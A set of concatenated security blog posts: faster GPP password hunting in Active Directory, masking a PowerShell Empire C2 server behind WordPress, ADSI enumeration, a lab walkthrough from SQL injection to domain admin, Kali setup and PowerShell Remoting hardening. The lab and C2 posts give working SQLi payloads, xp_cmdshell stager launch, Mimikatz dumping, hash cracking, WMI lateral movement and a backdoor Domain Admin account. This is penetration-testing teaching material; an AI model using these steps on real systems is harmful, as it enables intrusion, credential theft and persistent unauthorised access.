Group Policy Preferences (GPP) has been around for a considerable amount of time, yet I still keep finding remmants of GPP passwords lying around within an Active Directory (AD) forests. For more background on GPP passwords you can read up on it here on Active Directory Security.

I was tasked with an AD review and was met with a forest with a good 200+ Group Policy Objects (GPO). No idea why they had that insane amount. I got out my favourite script included in PowerSploit and began to run it. A few hours later it concluded and did give me a great result, however, I felt this could be sped up somehow.

Understanding Get-GPPPassword.ps1

Looking at the script we can see on line 234 we have the following:

$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'

This will recursively search every file within SYSVOL for an XML as defined within the Include paramerter. Now if you have 200+ GPOs and are looking in every folder for one of 6 files this soon mounts up to a long time to wait. Not forgetting those sys admins who have created a Central Group Policy Store giving additional files to crawl through.

I see nothing wrong with this for small well managed forests, but will generate a lot of traffic over an extended period of time to the SYSVOL share. This possibly generating unwanted attention if you were conducting a red team for example.

Client Side Extensions (CSE)

I set to research on how I could identify a GPO before making a connection to the SYSVOL. I brought up an AD object for the GPO and inspected the properties and one attribute caught my attention, namely gPCMachineExtensionNames. So I set to investigate which extensions are used by GPP that could contain passwords, I found a handy TechNet post by Mark Empson that gave me the following GUIDs that related to the following files:

• {5794DAFD-BE60-433f-88A2-1A31939AC01F} - Drives.xml
• {17D89FEC-5C44-4972-B12D-241CAEF74509} - Groups.xml
• {B087BE9D-ED37-454f-AF9C-04291E351182} - Registry.xml
• {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} - Scheduledtasks.xml
• {728EE579-943C-4519-9EF7-AB56765798ED} - DataSources.xml
• {91FBB303-0CD5-4055-BF42-E512A681B325} - Services.xml

We can now quickly enumerate in a single LDAP query all the GPOs that will have a GPP. This reducing down all those SYSVOL connections to a single query. Using PowerShell as a quick test I identified that this worked well, below is an example command returning a GPO that would contain a Groups.xml file:

> ([adsisearcher]"(gPCMachineExtensionNames=*{17D89FEC-5C44-4972-B12D-241CAEF74509}*)").findall() | foreach{ $_.Properties.gpcfilesyspath[0] }
\\domain.local\sysvol\domain.local\Policies\{90FF7C20-D2A3-4EBB-ACF8-ACB136400198}
\\domain.local\sysvol\domain.local\Policies\{69E25BB9-C40C-4DCF-B5D3-F6C58A4E691A}
\\domain.local\SysVol\domain.local\Policies\{0B165778-AA46-4B59-9FCE-8EB8E2F5A1DC}
\\domain.local\sysvol\domain.local\Policies\{14A53C63-FA1D-417C-A4F0-0F644F23CCF8}

This will greatly reduce the time it takes to search for a Groups.xml file as per the original approach.

More Enhancements

I wanted to also reduce the amount of effort you need to then identify all the affected Organizational Units (OUs) and within those the active computers that could be viable targets to attempt the password against.

So using the list of identified GPO GUIDs (The unique ID of the GPO) I could then use the gPLink attribute on the OU object to enumerate which OUs had this policy linked. With this list I could then enumerate all subsequent sub OUs below. For example, using the LDAP query (&(objectclass=organizationalUnit)(!(gPOptions=1))) will return all OUs that the policy can reach while taking into account the blocked inheritance OUs. Blocked inheritance will stop a GPOs configuration applying to objects contained within or below it, however, some GPO links can be enforced in that instance I simply omitted the gPOptions portion of the query.

With an OU list to hand it was a simple case of passing this to my existing script and enumerating the active computer objects. Giving us a nice list of machines to work with.

The End Result

Once this had all been built I compared the results of the two scripts against an AD forest that contained around 80 GPOs, they also had a lot of junk stored in SYSVOL that was not relevant to GPP. Additionally, I was working over a VPN so the amount of time taken could have been increased as a result.

However, lets measure the timing of the old versus the new approach:

PS C:\> Measure-Command { Get-GPPPassword }
Days              : 0
Hours             : 0
Minutes           : 10
Seconds           : 21
Milliseconds      : 104
Ticks             : 6211048780
TotalDays         : 0.00718871386574074
TotalHours        : 0.172529132777778
TotalMinutes      : 10.3517479666667
TotalSeconds      : 621.104878
TotalMilliseconds : 621104.878
--------------------------------------------------------
PS C:\> Measure-Command { Invoke-GPPCSE }
Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 10
Milliseconds      : 480
Ticks             : 104805931
TotalDays         : 0.00012130316087963
TotalHours        : 0.00291127586111111
TotalMinutes      : 0.174676551666667
TotalSeconds      : 10.4805931
TotalMilliseconds : 10480.5931

As you can see a vast reduction in time required to enumerate and return the results. Very useful if you need to act quickly!

You can download the script from my GitHub Repository.

Here is an example of how I use Empire, in this example I won't be running through setting up HTTPS but will only document the HTTP approach. I am using Ubuntu 16.04 LTS and cloning Empire from the master  branch.

Installing and Configuring LXC

I prefer to host Empire on an LXC container, saves installing additional packages on the host. Also it’s light enough to use on a VPS so don’t need to worry about resources.

First off you need to install LXC; apt install lxd.

Once installed ensure you have run through the initial setup accepting defaults; lxd init.

You then need to create a new container I have named mine EmpireC; lxc launch ubuntu:16.04 EmpireC.

Once created you can now configure Empire.

Installing and Configuring Empire

So, you need to ensure that you are interfacing with the container and not installing Empire on the host. At this point I launch screen then execute an interactive bash shell on the container use the following command lxc exec EmpireC -- /bin/bash.

With the screen session running I can detach (CTRL + A + D) and attach it (screen -x) again to gain easy access back to the container, it also keeps Empires listener active too.

Use the container like normal perform apt updates and the usual preparations you like to do for Empire. Then clone and install Empire using the following commands:

git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
./install.sh

I got an error with urllib3 on launch of Empire so you might need to use the following commands to fix this:

apt remove python-urllib3
pip install 'urllib3<1.23,>=1.21.1'

Once you have launched Empire start a HTTP listener as per the normal process, however, ensure that the Host option is set to your external DNS name. I use Cloudflare to manage my DNS so I can quickly amend the IP if it gets blocked on engagements.

Setting up Wordpress

We are looking to mask Empire with a fully functioning WordPress site in front of it, so let’s install Linux, Nginx, MySQL and PHP (LEMP stack). Ensure you have exited from the container before proceeding.

I follow the guide at https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04, as it covers every step for the LEMP stack installation.

Then follow the instructions at https://codex.wordpress.org/Installing_WordPress to install WordPress.

Configure the Reverse Proxy

Once a WordPress site is fully functioning you will need to grab the IP of the container and then reverse proxy to the Empire instance. You can grab the IP from the container by issuing the following command; ip addr if you are still interacting with the container or lxc exec EmpireC -- ip addr if you are not interacting with the container.

With the IP address obtained you then need to update the nginx configuration file for the default site with the additional lines below, however, ensure the user agent matches that of the Empire listener:

error_page 404 = @notfound;

location @notfound {
    if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"){
        return 302 /;
    }

    proxy_set_header HOST $host;
    proxy_set_header X-Forwarded-Proto $scheme;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    proxy_pass http://10.144.249.182;
}

Final Adjustments

As the agent is checking in via a reverse proxy the true IP address is lost. However, if you ammend the Flask functions check_ip, handle_get and handle_post within lib/listeners/http.py and replace the ClientIP variable with the below snippet then the true IP should be recorded.

if request.headers.getlist("X-Forwarded-For"):
    clientIP = request.headers.getlist("X-Forwarded-For")[0]
else:
    clientIP = request.remote_addr
clientIP = clientIP.encode('utf-8')

I have also submitted this as a pull request to the Empire project.

There you go you should now have a fully functioning WordPress site that directs traffic with the correct user agent to the Empire instance within the container.

At times during engagements you can find yourself in a situation that sees you without a lovely set of tools that can quickly enumerate the domain for you.

Utilising PowerShell with ADSI searcher will aid you in enumeration without any pre-requisites. The [adsisearcher] is a shortcut for the .Net object system.directoryservices.directorysearcher. The ADSI searcher was introduced for PowerShell 2.0, which should work on Windows 7/Windows Server 2008 R2 or higher, providing PowerShell hasn't been removed.

This guide assumes you have some basic understanding of PowerShell, if not I highly recommend watching "Learn Windows PowerShell in a Month of Lunches" by Don Jones.

LDAP Queries

In order to use ADSI searcher effectively you need to understand and have knowledge of the LDAP query structure. Here is some of the basics:

• Equal to (givenName=Bob)
• Logical equal to AND (&(givenName=Bob)(l=Smith))
• Logical equal to OR (|(givenName=Bob)(l=Smith))
• Not equal to (!givenName=Bob)
• Wilcard (givenName=*Bob*)

Some great guidance and examples can be found on ldapwiki.com. Additionally you can find some great information on the attributes used in Active Directory on SelfADSI.

ADSI Searcher Basics

The below examples assume you have logged on to a domain joined computer that is a member of the domain you are targeting.

Combining an LDAP query with ADSI searcher can quickly enable you to identify many AD objects of interest.

Lets take an example; you need to find all the users who have the word pass within their notes, you could perform the following query:

([adsisearcher]"(info=*pass*)").FindAll()

Now that would return all the results for you to work with but wouldn't give you the finer detail, such as username or the what the note said in full. So you could expand it a little:

([adsisearcher]"(info=*pass*)").FindAll() | %{ $_.GetDirectoryEntry() } | Select-Object sAMAccountName, info

This will now return the sAMAccountName and the corresponding info, should they contain the phrase pass within them.

This giving you a good insight to any objects of interest, in our example above if we had results returned it might have returned a useful password for us to use!

Advanced ADSI Searcher

The above example showed a very basic example of how to enumerate the current domain with information. However if you wanted to query a foreign domain, say for example you found a domain trust, then you need to include an LDAP path with your query.

Take this example, we have a trusted domain named example.com, as the domain is in a 2 way trust our currently logged on user has permissions so no additional authentication is required, this means we can simply do this:

(New-Object adsisearcher([adsi]"LDAP://example.com","(info=*pass*)")).FindAll()

By calling adsisearcher as an object we can pass it 2 parameters, the first being the system.directoryservices.directoryentry object and the second being our query.

The directoryentry detailed above, can be called by its shortcut [adsi] allowing us a little less typing. If you read the directoryentry objects details, you will notice you can also pass authentication to it as well, this is great if you find yourself with credentials for a domain and you have network access to it, but not able to actually find a machine to logon to. Using the credentials obtained you could remotely authenticate against the domain.

So lets now connect to example.com with credentials against the remote domain from our test machine:

(New-Object adsisearcher((New-Object adsi("LDAP://example.com","domain\username","password")),"(info=*pass*)")).FindAll()

Putting it all Together

Using standard PowerShell cmdlets you can export the information or save it to a variable to work further with it. Lets simply output the results to a GUI grid using the cmdlet Out-GridView, this allows us to use its simple filters to further narrow down our search and visually see the results. We could also store it to a variable to work with the data further just by prefixing something like this $Result = ... and then we could call a single result back by issuing $Result[0].GetDirectoryEntry() where [0] is the first item in the results returned.

You now have learned the basics of the ADSI searcher object and should have an understanding on how to perform some queries. Next time you run into a situation where you can't use a third party tool or you are trying to discreetly garner information on the target domain, remember to use [adsisearcher].

Intro and Tools

I have built a small lab to demonstrate some very basic SQL injection (SQLi) and how to utilise PowerShell Empire for privilege escalation. The demonstration starts as an unauthenticated user on the network and ends with full administrative privileges over the target Active Directory domain.

This is a supplement to the YouTube video I made.

Here is a list of tools used in the demonstration;

• Kali
• PowerShell Empire
• nmap
• sqlmap
• john

Lab Setup

The lab consists of the following servers;

• Domain Controller - Windows Server 2012 R2
• Web Server - Windows Server 2008 R2
• SQL Server (SQL Express 2014) - Windows Server 2012 R2
• Kali - Rolling Release

Discovery with nmap

Watch nmap discovery scanning

I tend to always start using nmap's ping scan, this is a quick and easy way to see what hosts you have available to work with. To issue a ping scan or also known as skip port scan do the following;

nmap -sP 192.168.0/24

This will quickly return a list of hosts, with little detail. But is ideal to form a list to complete a full port scan against. For the demonstration I shortened the scan by selecting the applicable ports. If I was doing a full scan you could run something like;

nmap -v -sSV -O -p- -Pn -oA results -iL ips_list

Lets breakdown the above command;

• -v increases the verbosity
• -sSV is a SYN scan with versioning
• -O enables OS detection
• -p- scans all ports
• -Pn tells nmap not to ping
• -oA outputs the results in 3 file types these are standard, grepable, and xml
• -iL is a file containing a list of IPs to scan

Once you have completed the nmap scanning you should have a good idea of the environment. I personally go through each port and check to see what service might be running, get an idea of its version then investigate any known vulnerabilities.

SQL Injection

Watch SQL injection

I quickly developed a vulnerable website so I could demonstrate SQLi, it is available in the SQL Injection Example folder on my GitHub. In the demonstration a web service was detected during the nmap discovery, you see me visiting the page to find it requires no authentication and is highly vulnerable to SQLi.

I start off with a very basic example of;

nolan' OR 99 = 99 -- t

Lets break this down a bit, in the back end the developer has coded his application as follows (snipped, view full code);

string WhereText = SearchLastName.Text;
cmd = new SqlCommand("SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%" + WhereText + "%'")

As we can see the developer has not either escaped or better still parametrised the query. This means anything we place in the search box is appended to the query executed.

Now if we go back to our very first example using knowledge of the code the end result would be this;

SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%nolan' OR 99 = 99 -- t

As you can see this would now return all records as 99 does equal 99. The comment on the end -- is to stop anything else being added to our query.

For example if the query had an extra clause in the where statement it would cause a syntax error, having the comment on the end ensures only our query is executed. Also note I have placed a letter namely t in this case, this is to stop the code from truncating my white space on the end of the query, for a comment to work you need a space or 2 after the --.

The demo then goes to show you the UNION statement and how to append data, the example given in the video was;

nolan' UNION SELECT 'test' AS Givenname, 'test1' AS Surname, 'test3' AS EmailAddress -- t

In this example we have only appended the data entered by myself, however say if we had another table called users we could use the following approach to output the data in that table;

invalid' UNION SELECT username AS Givenname, password AS Surname, email AS EmailAddress FROM users -- t

I used an invalid word to begin with to not return any results from the original table in the database, then tell it simply give me the data from the users table instead.

Lastly I started to execute the PowerShell Empire stager using the xp_cmdshell function, you first need to enable the advanced options by issuing the command '; EXEC sp_configure 'show advanced options', 1 -- t. With the advanced options enabled I was then able to enable the xp_cmdshell using '; EXEC sp_configure 'xp_cmdshell', 1 -- t. If you notice in the above commands I use a semicolon ; this allows me to stack the SQL queries meaning I was able to run each query separately.

I also lightly touched on sqlmap, this tool requires its own blog post as its a huge tool, in the demonstration I show the sqlmap wizard and how easy it is to retrieve data from a vulnerable web page.

This is only the surface of SQLi and is a very extensive subject one that can easily go into more depth and spend a great amount of time on. I would encourage reading up on SQLi as its great knowledge to have.

For further reading take a look at the OWASP SQL Injection page as a starting point.

PowerShell Empire

Watch PowerShell Empire

I now have the ability to run shell commands on the SQL box thanks to having the enabled the xp_cmdshell, so now lets look to getting an Empire agent on the box. I issued the command;

test'; EXEC xp_cmdshell 'powershell.exe -NoP -sta -NonI -W Hidden -Enc <<base64_payload>> -- t

This will now launch an agent on the SQL box ready for use with Empire. The stager is explained a little further down.

Listener

I didn't show setting up the listener in the demonstration, but it is a case of issuing the command listeners and then setting the host set Host http://192.168.1.200:8000 once set you can then tell the listener to start by issuing the run command.

Listeners can use SSL certificates to encrypt communication in transit between your Empire and the agent. You can also run multiple listeners if required.

Stager and Agent

Their are multiple stagers in Empire, I simply use the standard launcher for the demonstration. This is done by issuing the following commands;

usestager launcher
set Listener main

This will now set the launcher to use the main listener, by default the listener is called test.
You can then grab the command to run by issuing the command execute. This will give you a PowerShell command to run on your target box.

We now have an agent running on the box and we can execute commands on it to our liking. At this point it would be a good idea to search for documents that might be of interest to us, such as text files left lying around with passwords in it etc.

You can interact with the agent by issuing the agents command and then issuing the interact ABCDEF123456789, you can now download and explore the file system as you wish. For example shell whoami would return the current logged on user, prefix any command with shell. You can also import PowerShell scripts and execute them if you so wish at this point.

At any point in Empire you can list your agents by issuing the command list agents this is handy when trying to remember which agent is which. Or you can simply rename them if you prefer.

PowerUp Module

Watch the PowerUp Module

After searching for documents or information of interest you might yield no results, so you can now turn to the PowerUp module to see if privilege escalation is possible.

First we issue the command usemodule privesc/powerup/allchecks to start making use of the module. We then set the agent by issuing the command set Agent ABCDEF123456789 and finally we can then tell it to start the module by issuing the run command.

No output will be displayed as mentioned earlier you will need to interact with the agent to see the results or you can read the logfile using tail -f logfile which will update your screen each time the log file is updated. Log files are in the Downloads folder within your Empire directory.

At this point in the video we have just run all the checks and identified that the VMTools service is vulnerable to allowing privilege escalation. So we now need use this vulnerable service to escalate up to SYSTEM level privileges.

PowerUp Service Stager Module

We now switch to this module usemodule privesc/powerup/service_stager and issue the following commands;

set Agent ABCDEF123456789
set Listener main
set ServiceName VMTools
run

This now replaces the service executable path with a stager launcher and executes a SYSTEM level agent on the box. After the service is executed the agent stager successfully, the original executable path is restored.

This will leave an event log detailing that the VMTools service has stopped and started.

Mimikatz Module

Watch the Mimikatz Module

Now we have system level permissions on the server we can now make use of Mimikatz and dump the credentials using WDigest.

The executable of Mimikatz is widely detected by AV and is hard to get onto a server as a result. With PowerShell Empire it makes use of the Invoke-Mimikatz.ps1 this is run in memory and as PowerShell is a trusted application the script executes undetected.

To use and execute this module you can do it 2 ways, with the video we make use of the module, else you can interact with the agent that has administrative privileges on the server and issue the mimikatz command.

To use the module we simply issue the command use credentials/mimikatz/logonpasswords and then run the following;

set Agent ABCDEF123456789
execute

This will now dump the credentials on the box, in our case we didn't get any clear text passwords returned so we now have to attempt to crack the password. With the NTLM hash we can also use a method called pass the hash which saves having to crack the password. This can be used for example with metasploit using the PSExec Pass the Hash module to gain a shell on a remote box.

Password Cracking

Watch Password Cracking

In the video we use john (John the Ripper) which will helped us crack the password to Password1$ however we could of also used hashcat which I personally prefer but without fiddling with configuration of the VM I wouldn't be able to run hashcat on my Kali VM.

To attempt to crack the hash we first stored it in a file called admin_hash and then issued the command to attempt to crack it;

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT admin_hash

This fails to display the password in the demo video, I had previously tested it prior to recording and it refused to show the cracked password from its pot file. However if john had worked correctly it would of cracked the password as it was based in the dictionary file provided.

With hashcat or john you can use word mangling using some great rules which will see a dictionary based password such as r0cky0u2016! become cracked fairly quickly. Here is the NTLM for that password if you want to have a play 78BDD374A1C5A25E389AC7B530A0A5E4.

The above password was entered into hashcat and was cracked with the d3adhob0.rule in about 10 seconds. The command I used was;

hashcat -m1000 -a0 -r ./rules/d3adhob0.rule 78BDD374A1C5A25E389AC7B530A0A5E4 ./wordlists/rockyou.txt

Lateral Movement

Watch Lateral Movement

We now have an administrative password at our disposal, firstly we need to move away from the SQL server and gain a foothold on more servers joined to the domain.

This technique is great for when you have an administrative credential and you are unsure which servers it is allowed to access. Spraying the environment in this way is noisier and you will attract attention from network monitoring. But can yield in a quicker progression across the environment.

There are a few modules to help with lateral movement in Empire, I personally love PowerShell Remoting but find not many environments have it enabled. So I tend to opt for the legacy WMI module, as WMI is more likely to be enabled.

So to use WMI to we can use the module like this, the credentials are optional if they are not set the module is run as the agents current user;

usemodule lateral_movement/invoke_wmi
set Listener main
set ComputerName 192.168.1.1,192.168.1.20
set UserName DEMO\Administrator
set Password Password1$
execute

This will now connect to each server in the comma separated list and deploy an agent if administrative privileges are held.

Persistence

Watch Persistence

We now have an agent on every server for the domain including a domain controller. Next step is to create an administrative account to keep our access to the domain.

In the video you will see me briefly explain about the module persistence/misc/add_netuser I struggled to get this working, so fall-back to shell commands to get the account created instead.

To create a new 'Domain Admin' we can run 2 commands using the shell command, while interacting with an agent that is using the Administrator account we issue the commands;

shell net user backdoor Password1! /ADD /DOMAIN
shell net group "Domain Admins" backdoor /ADD /DOMAIN

You now have an 'Domain Admin' account to access the domain freely when we need to.

Conclusion

Thanks for reading all the way down to the bottom, hopefully you learnt something new and found it informative. Any questions please reach out to me.

Here is a thought, what else could have you done if the web service was not vulnerable to SQLi?

Preamble

This article assumes you have some knowledge of virtual machines and have VMware Workstation installed. Visit https://www.kali.org/downloads/ and download the latest 64-bit ISO image as you will need this.

For me I always run Kali as a VM with an Anker USB adapter for my networking. I find bridge and NAT adapters on the VM very slow when performing port scans or other pen test work, for a lab this is not so noticeable.

I use persistent and non-persistent disks on my VM, this allows me to keep my Kali VM always functioning as I expected and no nasty surprises on test day. If I need to update Kali I enable persistence and update, if all appears well I update the snapshot and re-enable non-persistence again.

Spec'ing up the VM

With the RAM and CPU, I always go to 50% of my host machine, so in my case this will be 2 CPUs and 8GB of RAM. This should give your VM a good feel and make it very workable.

I use 3 virtual disks, as per the following example;

• 60GB for the primary
• 20GB for tools, will be assigned to /opt
• 20GB for home, will be assigned to /root

Configuring the VM

Launch the New Virtual Machine wizard, I always select custom and then ensure that I will install the operating system later so I don't get any of the automated install process from VMware Workstation.

When prompted select Linux as the OS and select Debian 8.x 64-bit from the drop down menu. The next step will ask you to give your VM a name, select something that suits you and click Next.

For the CPU I always keep the Number of processors as 1 and the Number of cores per processor to 2, if 2 CPUs is what you want to assign. I find this gives me the best performance from experience. The next page will ask you for the amount RAM you wish to allocate in my case this is 8GB.

Select the type of networking you wish to use and ensure the OS disk is set to 60GB. Click next accepting defaults for the rest of the wizard.

Create the 2 additional virtual disks at 20GB and ensure that you set the options as per the below image;

Do not alter the configuration for the primary virtual disk at this stage or you will lose the installation.

Installing Kali

Boot the VM from the downloaded ISO and select Graphical Install from the boot menu. Proceed through the installation select your preferred language, hostname and root password.

At the partition disks stage of the installation, ensure you select Guided use entire disk and proceed. For the entire disk ensure you select the 60GB disk which should be the first on the list. At the next stage select Separate /home partition and proceed.

On the Partition disks page select the next 20GB disk and click Continue, select yes to creating a partition table and you will return back to the partition disks page, repeat for the other disk.

Click on the FREE SPACE and Continue, then at the next page select the option Mount Point set click Continue and you will be asked which location to mount. I set the first 20GB disk to /opt which will be all my custom tools not included with Kali and the second disk as /root.

Kali does not have a standard user everything is run as root, so I remove the home partition and setup a bigger swap space to help with long running tools, here is my final result;

Having configured the disks in this way and later when you change the primary disk to non-persistent, means each time I revert to snapshot I can get a clean build again. However as my /opt and /root is on a persistent disk then none of my custom tools and outputs are lost (assuming you save your tools and output files in this way).

Proceed with the install of Kali as per the normal default options to completion.

Note: you might not have network mirror selected by default ensure it is selected when prompted. Else you won't be able to install new packages or update/upgrade. If you missed this you can add it after install by following this guide http://docs.kali.org/faq/kali-sources-list-faq .

Configuring Kali

Now that you have Kali installed, you need to login and get a few essentials installed.

Firstly you need to update and upgrade any existing packages in place, then finally update the distribution itself if needed, run the following command from the terminal;
apt update && apt upgrade && apt dist-upgrade

I found many updates were required after a fresh install, it appears the ISO image on the website is not updated often.

As we are running this as a VM we need to install the VM tools so we can copy and paste, also resize the screen correctly;
apt install open-vm-tools open-vm-tools-desktop

Log out and in again for the tools to take affect.

Then the final thing I do before setting my VMs primary disk to non-persistent is to pre-stage the database for Metasploit framework.

First you need to start the postgresql service as with Kali all network services are stopped by default;
service postgresql start

Then you need to tell Metasploit to build the database;
msfdb init

Completion

Now that is all done you can gracefully shutdown your Kali VM and set it to non-persistent.
First you need to set the disk to be non-persistent, creating a snapshot before setting the disk to non-persistent will mean you can not alter the disk so ensure you do it the right way around.

To set non-persistent complete the following;

• Edit the VM settings
• Click on the primary virtual disk
• Click on Advanced
• Ensure you have a tick in Independent
• Ensure that the radio option is set to Nonpersistent
• Click OK and then OK again to save your changes

Before powering backup your VM take a snap shot I always place a date in the snapshot name myself so I can see how out dated my Kali VM is, I try to update it once a week.

Optionally you can now set under the Options tab in settings to be revert to snapshot after power off. This would see your Kali VM restored to base build each time you power off the VM. As the 2 additional disks are persistent they would have no data removed during the process. I always leave this option set to Revert to snapshot as I like to have a clean Kali build for each test I perform. You have to power off the VM for it to revert so don't worry if you need to reboot.

You now have a configured and ready to use a Kali VM, at anytime you feel Kali is requiring a kick you can click revert to previous snapshot and all will be restored to a base build with a clean state. Or if you set the optional setting mentioned earlier simply power off the VM.

There are many ways to setup a VM and Kali, this is just the way I do it and thought it would be useful to share.
Always interested to hear from people and their views, thanks for reading.

Introduction

If you haven't yet read my blog post on enabling PowerShell Remoting I would give that a read over first, this will give you some further background information into PowerShell Remoting. I won't be covering how to enable PowerShell Remoting in this post again, this will demonstrate how to configure a workgroup computer to work with PowerShell Remoting.

It also guides you through a set of instructions on how to secure PowerShell Remoting, which ensures settings such as unencrypted communication are enforced to be off.

In this post I will guide you through the various options available to you for enabling PowerShell Remoting on a workgroup/standalone computer.

Is using SSL required?

Some guides I have seen simply add your remote machine to your trusted hosts, the problem with this is that it disables the mutual authentication. This can be dangerous if you are Remoting over the internet as you are unable to verify the endpoint you are connecting to is indeed the one you intended.

For local LAN Remoting, it's a moot point in my view. Ensuring you have mutual authentication in place is a good thing to ensure you have no man in the middle (MITM) attacks, however this presents a low risk.

Setting up an entire group of workgroup servers to use HTTPS would be cumbersome and the effort out weighs the risks. Don't forget that all traffic over the HTTP protocol is still encrypted, you have just lost the ability of mutual authentication.

My personal view is that I would always look to enable HTTPS Remoting as it adds that further layer of protection.

Configuring TrustedHosts for Remoting

Ok so lets first look at how we setup Remoting using trusted hosts, again I can't state enough to follow my previous guide on how to harden PowerShell Remoting first.

Firstly on our admin machine, the machine you wish to remote from you will need to launch an administrative PowerShell window.
Now if you issue the command;

Get-Item WSMan:\localhost\Client\TrustedHosts

You should hopefully be given a table of results with the Value column being empty.

To add a trusted host you can either place a * or IP address/hostname, placing a * will trust all hosts you connect to. I would recommend adding in the host you are looking to trust.
To trust a host you now issue the following command;

Set-Item WSMan:\localhost\Client\TrustedHosts RemoteMachine

This will now trust PowerShell Remoting connections to RemoteMachine.
You have now configured using TrustedHosts for workgroup Remoting.

Configuring HTTPS for Remoting

This is slightly more complicated but my preferred option, as it presents the best security for workgroup Remoting.

Firstly you will need a valid certificate for this to be made possible, luckily starting from Windows 2012/8 you can complete this by creating a self signed certificate.

This script below will configure PowerShell Remoting using HTTPS, remove listeners for HTTP and export the certificate in use ready for you to import to an administering computer.

# Generate a new self signed certificate
$RCert = New-SelfSignedCertificate -CertStoreLocation Cert:\LocalMachine\My\ -DnsName RemoteMachine, RemoteMachine.example.com, '192.168.1.1'

# Export the generated certificate to the desktop
Export-Certificate -Cert $RCert -FilePath (Join-Path $env:USERPROFILE 'Desktop\RemotingCert')

# Enable PowerShell Remoting
Enable-PSRemoting -SkipNetworkProfileCheck -Force

# Get all the listeners for WSMAN that are using HTTP and remove them to stop HTTP connections
Get-ChildItem WSMan:\Localhost\listener | Where -Property Keys -eq 'Transport=HTTP' | Remove-Item -Recurse

# Add in the newly created certificates thumbprint to enable a listener on HTTPS
New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address * -CertificateThumbPrint $RCert.Thumbprint –Force

# Allow remote incoming connections on 5986
New-NetFirewallRule -DisplayName 'WinRM (HTTPS-In)' -Name 'WinRM (HTTPS-In)' -Profile Any -LocalPort 5986 -Protocol TCP

The DnsName parameter is important as it should have a comma separated list of your hostnames/IPs that will be used for connection.

All that is left to do is import the exported certificate to your administrative computer;

Import-Certificate -Filepath 'C:\RemotingCert' -CertStoreLocation 'Cert:\LocalMachine\Root'

Once imported your machine now can trust the remote certificate presented and mutual authentication can take place.

Entering a Remote Session

Depending on the configuration you chose to use you can enter a remote PowerShell session by either using HTTPS (SSL) or not.

Using HTTP

Enter-PSSession -ComputerName RemoteMachine -Credential (Get-Credential)

Using HTTPS

Enter-PSSession -ComputerName RemoteMachine -UseSSL -Credential (Get-Credential)

You will be prompted to enter your username and password for the remote machine, if all is working you should be presented with a remote shell.

Background

Many people I work with will tell you how much I love PowerShell, I have been working with PowerShell since version 1 and it has become a key asset to my daily working life.

My first large script (around 5000 lines of code!) was built with many WMI calls and using a list of servers from Active Directory (AD) processed one by one. This worked great for about 10 servers, however 300 proved slow. So implemented mutli threading to allow multiple servers to be processed at once, this made the script acceptable and I was happy with it.

Fast forward a couple of years. I am now working with different and larger environments with servers in the thousands not hundreds. My script has become error ridden and slow (WMI timeouts etc.), due to the larger number of servers and many networking hurdles presented by RPC dynamic ports. This all adding to the script that was taking as much as 4-6 hours to run.

This is when PowerShell remoting becomes useful.

But… Always a but!

Natively most environments are not ready for PowerShell remoting, so how do you get yourself up and running with PowerShell remoting? What are the risks? What are the benefits?

Implementing PowerShell Remoting

First of all the PowerShell version must be 2 or higher. This is supported on the following operating systems;

• Windows Server 2003 (R2) SP2 or Windows XP SP3
• Windows Server 2008 SP2 or Windows Vista SP2

Starting from Windows 7 or Windows Server 2008 R2, PowerShell version 2 or higher is always included with the OS.

You can deploy PowerShell version 2 via WSUS or manually, the KB article is here https://support.microsoft.com/en-us/kb/968929.

This post is all about computers joined to an AD domain, however you can include workgroup machines such as Exchange edge transport servers in the DMZ for example, I will cover workgroup PowerShell Remoting in a later post.

Single Machine Manual Setup

1. Ensure you have the above KB installed if you are running anything less than 2008 R2 or Windows 7
2. Launch an administrative PowerShell window
3. At the command prompt enter Enable-PSRemoting -Force

That’s it after you have answered the few questions that prompt you with yes (Y) then the machine should be configured.

Using Group Policy

Now repeating the above for all your Windows client and server devices would be very boring and cumbersome to manage. However thankfully you can enable PowerShell Remoting using a group policy.

You will need;

• Windows Server 2008 R2/Windows 7 or higher
• Group Policy Manager installed

Ok now the configuration;

1. Logon to your chosen management computer
2. Launch Group Policy Manager
3. Edit your chosen policy or create a new one
4. Navigate to the following tree path Computer Configuration -> Windows Settings -> Security Settings -> System Services
5. Find the service named Windows Remote Management (WS-Management) and set it to Automatic ensure you leave the security configuration untouched
6. Navigate to the following tree path Computer Configuration -> Administrative Templates -> Windows Components
7. Under Windows Components locate the sub tree item named Windows Remote Management (WinRM) and click on the sub tree named WinRM Service
8. In the right hand pane select the setting named Allow remote server managment through WinRM

Configure it as shown below, for demonstration purposes I have placed a star in the IPv4 Filter box this will mean all network adapters will listen for remote requests, however I recommend defining your internal subnet

Network Configuration

For domain joined computers the only port you need to worry about is TCP 5985, this is the HTTP port however this does not mean it is not encrypted. The traffic is encrypted on this port. As Kerberos is used to authenticate you and protect your session. TCP 5986 is the HTTPS port but I will cover this as part of the workgroup post.

You need to ensure that the TCP port 5985 is accessible from your management server to the server you wish to remotely manage.

Unlike WMI that is all the ports you need opened, simples.

Using PowerShell Remoting

I will type up a more in-depth post on this but for now, we will do a simple 1 to 1 PowerShell remote session.

At a PowerShell window on your management computer, simply type Enter-PSSession HOSTNAME, of course replacing HOSTNAME with your remote computers name. If successful, you will now be presented with a remote session signified with the hostname prefixing the prompt.

This is very similar to using SSH to get a remote prompt on a Linux based machine and just as secure.

The Risks

Ok this all sounds straight forward so far, what are the risks?

Well not a lot really, many Microsoft and non-Microsoft applications and infrastructure services are making use of this technology. Take Citrix for example, it uses wsman which is the same method that PowerShell remoting uses.

